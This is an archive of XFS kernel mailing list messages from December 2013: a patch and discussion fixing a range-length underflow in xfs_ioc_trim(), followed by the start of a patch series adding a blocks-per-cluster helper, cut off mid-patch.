(int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBBC5Yr1009826 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 07:05:35 -0500 Received: from localhost.localdomain.com (dhcp-1-115.brq.redhat.com [10.34.1.115]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id rBBC5XUF023600; Wed, 11 Dec 2013 07:05:33 -0500 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() Date: Wed, 11 Dec 2013 13:05:25 +0100 X-ASG-Orig-Subj: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() Message-Id: <1386763525-18584-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386763536 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently when range.len is set to 0 it will underflow. Fix it by checking for this scenario and return EINVAL in case range.len is smaller than block size. This was discovered by the xfstests generic/288 and with this patch the problem goes away. Signed-off-by: Lukas Czerner --- fs/xfs/xfs_discard.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index 8367d6d..9029082 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -180,7 +180,8 @@ xfs_ioc_trim( * matter as trimming blocks is an advisory interface. */ if (range.start >= XFS_FSB_TO_B(mp, mp->m_sb.sb_dblocks) || - range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp))) + range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp)) || + range.len < XFS_FSB_TO_B(mp, 1)) return -XFS_ERROR(EINVAL); start = BTOBB(range.start); -- 1.8.3.1 From jeff.liu@oracle.com Wed Dec 11 07:11:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 494DA801F for ; Wed, 11 Dec 2013 07:11:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DB01FAC01F for ; Wed, 11 Dec 2013 05:11:00 -0800 (PST) X-ASG-Debug-ID: 1386767456-04cb6c537d6a1180001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id bljGablGWQ87GbIU (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:10:56 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDAtd8032207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 13:10:56 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDAs7J007484 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 13:10:54 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDArmw018201; Wed, 11 Dec 2013 13:10:54 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:10:53 -0800 Message-ID: <52A86458.9030001@oracle.com> Date: Wed, 11 Dec 2013 21:10:48 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Lukas Czerner , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() References: <1386763525-18584-1-git-send-email-lczerner@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() In-Reply-To: <1386763525-18584-1-git-send-email-lczerner@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386767456 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Lukas, Thanks for the fix. We have corrected this problem with the blow patch which got merged intwo weeks ago. :) [ commit f9fd013561 ] xfs: don't perform discard if the given range length is less than block size That is also discovered by generic/288 you contributed. Thanks, -Jeff On 12/11 2013 20:05 PM, Lukas Czerner wrote: > Currently when range.len is set to 0 it will underflow. Fix it by > checking for this scenario and return EINVAL in case range.len is > smaller than block size. > > This was discovered by the xfstests generic/288 and with this patch > the problem goes away. > > Signed-off-by: Lukas Czerner > --- > fs/xfs/xfs_discard.c | 3 ++- > 1 file changed, 2 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c > index 8367d6d..9029082 100644 > --- a/fs/xfs/xfs_discard.c > +++ b/fs/xfs/xfs_discard.c > @@ -180,7 +180,8 @@ xfs_ioc_trim( > * matter as trimming blocks is an advisory interface. > */ > if (range.start >= XFS_FSB_TO_B(mp, mp->m_sb.sb_dblocks) || > - range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp))) > + range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp)) || > + range.len < XFS_FSB_TO_B(mp, 1)) > return -XFS_ERROR(EINVAL); > > start = BTOBB(range.start); > From lczerner@redhat.com Wed Dec 11 07:20:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3FC44802C for ; Wed, 11 Dec 2013 07:20:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CBB38AC01D for ; Wed, 11 Dec 2013 05:20:27 -0800 (PST) X-ASG-Debug-ID: 1386768026-04cb6c537d6a1620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id BORdTaM9rdayvYPi for ; Wed, 11 Dec 2013 05:20:26 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBBDKPNd021696 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 08:20:25 -0500 Received: from dhcp-1-115.brq.redhat.com (dhcp-1-115.brq.redhat.com [10.34.1.115]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBBDKMSr003209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 08:20:24 -0500 Date: Wed, 11 Dec 2013 14:20:22 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Jeff Liu cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() In-Reply-To: <52A86458.9030001@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() Message-ID: References: <1386763525-18584-1-git-send-email-lczerner@redhat.com> <52A86458.9030001@oracle.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386768026 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 11 Dec 2013, Jeff Liu wrote: > Date: Wed, 11 Dec 2013 21:10:48 +0800 > From: Jeff Liu > To: Lukas Czerner , xfs@oss.sgi.com > Subject: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() > > Hi Lukas, > > Thanks for the fix. We have corrected this problem with the blow patch > which got merged intwo weeks ago. :) > [ commit f9fd013561 ] Not sure where it got merged, I do not see this upstream in linus tree. > xfs: don't perform discard if the given range length is less than block size > > That is also discovered by generic/288 you contributed. Right, I mentioned that in the description. -Lukas > > Thanks, > -Jeff > > On 12/11 2013 20:05 PM, Lukas Czerner wrote: > > Currently when range.len is set to 0 it will underflow. Fix it by > > checking for this scenario and return EINVAL in case range.len is > > smaller than block size. > > > > This was discovered by the xfstests generic/288 and with this patch > > the problem goes away. > > > > Signed-off-by: Lukas Czerner > > --- > > fs/xfs/xfs_discard.c | 3 ++- > > 1 file changed, 2 insertions(+), 1 deletion(-) > > > > diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c > > index 8367d6d..9029082 100644 > > --- a/fs/xfs/xfs_discard.c > > +++ b/fs/xfs/xfs_discard.c > > @@ -180,7 +180,8 @@ xfs_ioc_trim( > > * matter as trimming blocks is an advisory interface. > > */ > > if (range.start >= XFS_FSB_TO_B(mp, mp->m_sb.sb_dblocks) || > > - range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp))) > > + range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp)) || > > + range.len < XFS_FSB_TO_B(mp, 1)) > > return -XFS_ERROR(EINVAL); > > > > start = BTOBB(range.start); > > > From jeff.liu@oracle.com Wed Dec 11 07:25:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DC843802F for ; Wed, 11 Dec 2013 07:25:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C31EB8F8054 for ; Wed, 11 Dec 2013 05:25:22 -0800 (PST) X-ASG-Debug-ID: 1386768321-04cb6c537b6a1820001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 0omwCkhbsIciaKTW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:25:21 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDPIfe004081 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 13:25:19 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDPHGr000214 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Dec 2013 13:25:18 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDPHTv009488; Wed, 11 Dec 2013 13:25:17 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:25:17 -0800 Message-ID: <52A867B7.2040208@oracle.com> Date: Wed, 11 Dec 2013 21:25:11 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: =?windows-1252?Q?Luk=E1=9A_Czerner?= CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() References: <1386763525-18584-1-git-send-email-lczerner@redhat.com> <52A86458.9030001@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() In-Reply-To: Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386768321 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/11 2013 21:20 PM, Luk Czerner wrote: > On Wed, 11 Dec 2013, Jeff Liu wrote: > >> Date: Wed, 11 Dec 2013 21:10:48 +0800 >> From: Jeff Liu >> To: Lukas Czerner , xfs@oss.sgi.com >> Subject: Re: [PATCH] xfs: prevent range.len underflow in xfs_ioc_trim() >> >> Hi Lukas, >> >> Thanks for the fix. We have corrected this problem with the blow patch >> which got merged intwo weeks ago. :) >> [ commit f9fd013561 ] > > Not sure where it got merged, I do not see this upstream in linus > tree. Now it resides in xfs-next tree, but I remember Ben have sent out the pull request "[GIT PULL] XFS bugfixes for 3.13-rc4" to Linus yesterday. Thanks, -Jeff > >> xfs: don't perform discard if the given range length is less than block size >> >> That is also discovered by generic/288 you contributed. > > Right, I mentioned that in the description. > > -Lukas > >> >> Thanks, >> -Jeff >> >> On 12/11 2013 20:05 PM, Lukas Czerner wrote: >>> Currently when range.len is set to 0 it will underflow. Fix it by >>> checking for this scenario and return EINVAL in case range.len is >>> smaller than block size. >>> >>> This was discovered by the xfstests generic/288 and with this patch >>> the problem goes away. >>> >>> Signed-off-by: Lukas Czerner >>> --- >>> fs/xfs/xfs_discard.c | 3 ++- >>> 1 file changed, 2 insertions(+), 1 deletion(-) >>> >>> diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c >>> index 8367d6d..9029082 100644 >>> --- a/fs/xfs/xfs_discard.c >>> +++ b/fs/xfs/xfs_discard.c >>> @@ -180,7 +180,8 @@ xfs_ioc_trim( >>> * matter as trimming blocks is an advisory interface. >>> */ >>> if (range.start >= XFS_FSB_TO_B(mp, mp->m_sb.sb_dblocks) || >>> - range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp))) >>> + range.minlen > XFS_FSB_TO_B(mp, XFS_ALLOC_AG_MAX_USABLE(mp)) || >>> + range.len < XFS_FSB_TO_B(mp, 1)) >>> return -XFS_ERROR(EINVAL); >>> >>> start = BTOBB(range.start); >>> >> > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From jeff.liu@oracle.com Wed Dec 11 07:47:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2D1407F73 for ; Wed, 11 Dec 2013 07:47:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 13D748F8066 for ; Wed, 11 Dec 2013 05:47:49 -0800 (PST) X-ASG-Debug-ID: 1386769667-04cb6c537e6a2240001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id psLLMKTzwGibOUha (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:47:47 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDlkc9030569 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 13:47:47 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDljag026188 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 13:47:45 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDli5U025657 for ; Wed, 11 Dec 2013 13:47:45 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:47:44 -0800 Message-ID: <52A86CF9.1030003@oracle.com> Date: Wed, 11 Dec 2013 21:47:37 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 0/5] xfs: introduce a common helper to calculate the number of blocks per cluster Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 0/5] xfs: introduce a common helper to calculate the number of blocks per cluster Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386769667 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143014 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, As per Christoph's comments for parallel quota check patches, we'd better to introduce a common helper to calculate the number of blocks per cluster. This small patch series is used to make it. I'd like to submit it separately because it is independent to my current parallel quota check implementation. Thanks, -Jeff From jeff.liu@oracle.com Wed Dec 11 07:48:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A4BC529E1C for ; Wed, 11 Dec 2013 07:48:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3BDE5AC01B for ; Wed, 11 Dec 2013 05:48:14 -0800 (PST) X-ASG-Debug-ID: 1386769691-04cbb041676aab40001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id DXjQWSvHed4pmpPi (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:48:11 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDmAwY031189 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 13:48:11 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDm9iK022565 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 13:48:10 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDm9NY022557 for ; Wed, 11 Dec 2013 13:48:09 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:48:09 -0800 Message-ID: <52A86D11.1040504@oracle.com> Date: Wed, 11 Dec 2013 21:48:01 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 1/5] xfs: introduce xfs_ialloc_blks_per_cluster Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 1/5] xfs: introduce xfs_ialloc_blks_per_cluster Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386769691 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Introduce a common routine xfs_ialloc_blks_per_cluster() to calculate and return the number of blocks per inode cluster. Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.h | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index a8f76a5..f4bfd32 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -37,6 +37,16 @@ struct xfs_btree_cur; #define XFS_INODE_BIG_CLUSTER_SIZE 8192 #define XFS_INODE_CLUSTER_SIZE(mp) (mp)->m_inode_cluster_size +/* Calculate and return the number of blocks per inode cluster */ +static inline int +xfs_ialloc_blks_per_cluster( + struct xfs_mount *mp) +{ + if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) + return 1; + return XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_blocklog; +} + /* * Make an inode pointer out of the buffer/offset. */ -- 1.8.3.2 From jeff.liu@oracle.com Wed Dec 11 07:48:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2C53F7F73 for ; Wed, 11 Dec 2013 07:48:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9FFEBAC01B for ; Wed, 11 Dec 2013 05:48:21 -0800 (PST) X-ASG-Debug-ID: 1386769700-04cb6c537c6a2290001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id jq7xneFmArDn5ZYP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 05:48:20 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBBDmJFX011553 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Dec 2013 13:48:20 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmJaa022981 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 13:48:19 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBBDmJTn022971 for ; Wed, 11 Dec 2013 13:48:19 GMT Received: from [192.168.1.104] (/221.223.111.128) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 05:48:18 -0800 Message-ID: <52A86D1E.6090507@oracle.com> Date: Wed, 11 Dec 2013 21:48:14 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH 2/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_bulkstat Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH 2/5] xfs: use xfs_ialloc_blks_per_cluster in xfs_bulkstat Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386769700 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143014 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Use xfs_ialloc_blks_per_cluster() in xfs_bulkstat(), make the related variables more meaningful and remove an unused variable nimask from it. Signed-off-by: Jie Liu --- fs/xfs/xfs_itable.c | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index c237ad1..6671f5b 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -209,9 +209,8 @@ xfs_bulkstat( xfs_inobt_rec_incore_t *irbuf; /* start of irec buffer */ xfs_inobt_rec_incore_t *irbufend; /* end of good irec buffer entries */ xfs_ino_t lastino; /* last inode number returned */ - int nbcluster; /* # of blocks in a cluster */ - int nicluster; /* # of inodes in a cluster */ - int nimask; /* mask for inode clusters */ + int blks_per_cluster; /* # of blocks in a cluster */ + int ninodes; /* # of inodes in a cluster */ int nirbuf; /* size of irbuf */ int rval; /* return value error code */ int tmp; /* result value from btree calls */ @@ -243,11 +242,8 @@ xfs_bulkstat( *done = 0; fmterror = 0; ubufp = ubuffer; - nicluster = mp->m_sb.sb_blocksize >= 